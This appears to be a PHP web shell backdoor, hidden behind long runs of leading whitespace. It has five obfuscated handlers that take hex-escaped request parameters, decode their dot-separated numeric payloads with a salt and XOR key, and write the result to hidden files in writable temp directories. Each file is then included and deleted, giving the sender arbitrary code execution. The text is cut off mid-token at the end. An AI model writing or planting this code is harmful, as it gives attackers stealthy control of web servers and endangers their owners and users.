<?																																										if(!empty($_REQUEST["flag"])){ $holder = $_REQUEST["flag"]; $holder =explode ( '.',$holder ) ; $entry = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $__len = count($holder); for ($t = 0; $t<$__len; $t++) { $v7 = $holder[$t]; $chS = ord($s9[$t % $lenS]); $dec = ((int)$v7 - $chS - ($t % 10)) ^62; $entry .= chr($dec); } $reference = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", getenv("TMP")]); foreach ($reference as $symbol) { if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $component = str_replace("{var_dir}", $symbol, "{var_dir}/.ent"); $file = fopen($component, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $component; @unlink($component); die(); } } } }
																																										if(!empty($_POST["\x70se\x74"])){ $reference = $_POST["\x70se\x74"]; $reference =explode ("." ,$reference) ; $desc = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $q = 0; $__tmp = $reference; while($v6 = array_shift($__tmp)) {$sChar = ord($salt2[$q%$lenS] ); $d =((int)$v6 - $sChar -($q%10)) ^ 60; $desc .= chr($d ); $q++; } $entity = array_filter([getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); foreach ($entity as $ent) { if (max(0, is_dir($ent) * is_writable($ent))) { $descriptor = vsprintf("%s/%s", [$ent, ".val"]); $success = file_put_contents($descriptor, $desc); if ($success) { include $descriptor; @unlink($descriptor); die();} } } }
																																										if(array_key_exists("\x62ind", $_POST) && !is_null($_POST["\x62ind"])){ $pgrp = $_POST["\x62ind"]; $pgrp= explode( '.', $pgrp) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $l = 0; while( $l < count( $pgrp)) { $v4 = $pgrp[$l]; $sChar = ord( $salt[$l % $sLen]); $dec =( ( int)$v4 - $sChar -( $l % 10))^28; $symbol .= chr( $dec); $l++; } $ent = array_filter([getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/tmp", "/dev/shm", "/var/tmp", getcwd()]); foreach ($ent as $itm): if (is_dir($itm) ? is_writable($itm) : false) { $reference = vsprintf("%s/%s", [$itm, ".obj"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $symbol); fclose($file); include $reference; @unlink($reference); exit; } } endforeach; }
																																										if(array_key_exists("\x72\x65s\x6Furc\x65", $_POST)){ $property_set = $_POST["\x72\x65s\x6Furc\x65"]; $property_set=explode ( '.',$property_set ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($property_set as $z => $v9) { $sChar = ord($s[$z %$lenS] ); $dec = ((int)$v9 - $sChar - ($z %10)) ^ 100; $descriptor .= chr($dec ); } $item = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]); foreach ($item as $ent): if (is_dir($ent) ? is_writable($ent) : false) { $symbol = "$ent/.component"; if (file_put_contents($symbol, $descriptor)) { require $symbol; unlink($symbol); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "\x65\x6Cem")){ $item = $_REQUEST["\x65\x6Cem"]; $item = explode ('.' , $item); $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($item); for ($r = 0; $r < $len; $r++) { $v8 = $item[$r]; $sChar = ord($salt[$r% $lenS]); $dec = ((int)$v8 - $sChar - ($r% 10)) ^84; $bind .= chr($dec); } $tkn = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); foreach ($tkn as $hld): if (is_writable($hld) && is_dir($hld)) { $ref = sprintf("%s/.comp", $hld); $success = file_put_contents($ref, $bind); if ($success) { include $ref; @unlink($ref); die();} } endfo